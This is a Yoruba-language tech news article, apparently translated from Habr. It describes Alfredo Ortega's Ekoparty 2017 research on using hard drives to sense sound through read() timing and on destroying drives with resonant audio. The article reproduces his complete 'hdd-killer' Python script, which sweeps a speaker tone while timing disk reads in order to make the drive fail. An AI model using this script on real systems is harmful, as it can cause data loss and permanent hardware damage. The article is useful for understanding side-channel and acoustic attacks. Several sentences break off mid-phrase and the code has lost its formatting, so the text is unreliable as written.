Ni apejọ aabo kọnputa Ekoparty 2017 ni Buenos Aires, agbonaeburuwole Argentine Alfredo Ortega ṣe afihan idagbasoke ti o nifẹ pupọ - eto kan fun titẹ waya ti agbegbe laisi lilo gbohungbohun kan. Ohun
HDD ni akọkọ n gbe awọn ohun igbohunsafẹfẹ kekere-kikan soke, awọn igbesẹ ati awọn gbigbọn miiran. Ọrọ eniyan ko le ṣe idanimọ sibẹsibẹ, botilẹjẹpe awọn onimọ-jinlẹ
Ohun jẹ gbigbọn ti afẹfẹ tabi alabọde miiran. Eniyan ṣe akiyesi wọn nipasẹ eardrum, eyiti o tan awọn gbigbọn si eti inu. A ṣe apẹrẹ gbohungbohun ni aijọju bi eti - nibi, paapaa, awọn gbigbọn ti wa ni igbasilẹ nipasẹ awọ ara tinrin, eyiti o ṣe itara agbara itanna kan. Dirafu lile, dajudaju, tun jẹ koko-ọrọ si awọn gbigbọn airi nitori awọn iyipada ninu afẹfẹ agbegbe. Eyi ni a mọ paapaa lati awọn abuda imọ-ẹrọ ti HDDs: awọn aṣelọpọ nigbagbogbo tọka si ipele gbigbọn iyọọda ti o pọju, ati dirafu lile funrararẹ nigbagbogbo gbiyanju lati gbe sinu apoti ẹri gbigbọn ti a ṣe ti roba tabi ohun elo idabobo miiran. Lati eyi o rọrun lati pinnu pe awọn ohun le ṣe igbasilẹ nipa lilo HDD. Gbogbo awọn ti o ku ni lati ro ero bawo.
Alfredo Ortega dabaa ẹya alailẹgbẹ ti ikọlu ikanni ẹgbẹ kan, eyun ikọlu akoko kan. Ikọlu yii da lori arosinu pe awọn iṣẹ oriṣiriṣi ṣe lori ẹrọ ni awọn akoko oriṣiriṣi, da lori data igbewọle ti a fun. Ni idi eyi, "data ti nwọle" jẹ awọn gbigbọn ti ori kika ati HDD platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ayika, eyini ni, pẹlu ohun. Bayi, nipa wiwọn akoko iṣiro ati ṣiṣe iṣiro iṣiro ti data, awọn gbigbọn ti ori / platter ati nibi awọn gbigbọn ti alabọde le ṣe iwọn. Bi idaduro naa ṣe gun ni kika data, awọn gbigbọn HDD ni okun sii ati, nitorina, ohun ti npariwo.
Bawo ni lati wiwọn gbigbọn dirafu lile? O rọrun pupọ: kan ṣiṣe ipe eto naa read ()
- ati ṣe igbasilẹ akoko ti o to lati pari. Awọn ọna ṣiṣe ode oni gba ọ laaye lati ka akoko awọn ipe eto pẹlu deede nanosecond.
Iyara ti alaye kika lati eka kan da lori ipo ti ori ati platter, eyiti o ni ibamu pẹlu awọn gbigbọn ti ọran HDD. Gbogbo ẹ niyẹn.
Ayẹwo iṣiro ni a ṣe ni lilo ohun elo Kscope kan ti o rọrun. Bi wọn ti sọ, ohun gbogbo ti ọgbọn jẹ rọrun.
IwUlO Kscope (stat() syscall)
Kscope jẹ ohun elo kekere fun wiwo awọn iyatọ kekere ni awọn akoko ipaniyan eto. Orisun
Ni lọtọ ibi ipamọ read ()
.
Afihan ti gbigbasilẹ ohun nipa lilo HDD, isẹ ti Kscope IwUlO
Nitoribẹẹ, ọrọ ko le loye ni ọna yii, ṣugbọn HDD dara pupọ bi sensọ gbigbọn. Fun apẹẹrẹ, o le forukọsilẹ ti eniyan ti o wọ bata lile tabi laisi bata wọ yara kan pẹlu kọnputa (boya, ti ikọlu ba wọ awọn sneakers rirọ tabi capeti ti o nipọn lori ilẹ, HDD kii yoo ni anfani lati forukọsilẹ awọn gbigbọn - eyi tọ lati ṣayẹwo). Kọmputa naa ni anfani lati forukọsilẹ gilasi fifọ tabi awọn iṣẹlẹ miiran pẹlu kikankikan ohun to lagbara. Iyẹn ni, dirafu lile le ṣiṣẹ bi iru eto wiwa ifọle laigba aṣẹ.
HDD apaniyan
Nipa ọna, iru ilana kan le ṣee lo lati mu awọn dirafu lile kuro. Nibi nikan a ko yọ awọn oscillation kuro ni HDD, ṣugbọn ni ilodi si, a ṣe ina awọn oscillation ti o jẹun si HDD. Ti o ba mu ohun ṣiṣẹ lati ọdọ agbọrọsọ ni igbohunsafẹfẹ ti o ṣe atunṣe pẹlu igbohunsafẹfẹ HDD, eto naa yoo pa ẹrọ naa laipẹ pẹlu aṣiṣe I/O kan (ekuro Linux kuro patapata HDD lẹhin iṣẹju-aaya 120). Dirafu lile funrararẹ le jiya ibajẹ ti ko le yipada.
Ekuro Linux naa pa dirafu lile lẹhin awọn iṣẹju-aaya 120 ti jiṣẹ ohun ni igbohunsafẹfẹ resonant nipasẹ agbọrọsọ ti Edifier r19u agbọrọsọ USB. Agbọrọsọ ti wa ni titan ni iwọn idamẹrin ti agbara (kere ju 100 mW) ati pe o wa ni 20 cm lati HDD, ti a pinnu ni tabili lati mu awọn gbigbọn pọ si. Fireemu lati
O jẹ iyanilenu pe iru “awọn ikọlu” lori HDDs nigbakan waye patapata nipasẹ ijamba ni igbesi aye ojoojumọ. Fun apẹẹrẹ, ni Oṣu Kẹsan ọdun 2016, ile-iṣẹ data data ING Bank ti fi agbara mu lati da awọn iṣẹ duro fun awọn wakati 10 lẹhin adaṣe ina.
Ifihan ti igbe eniyan ni awọn awakọ lile ni ile-iṣẹ data kan. Wiwọn airi
Lati ṣe agbejade ohun ti n ṣe atunṣe, Alfredo Ortega kowe iwe afọwọkọ Python kan ti a pe
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
orisun: www.habr.com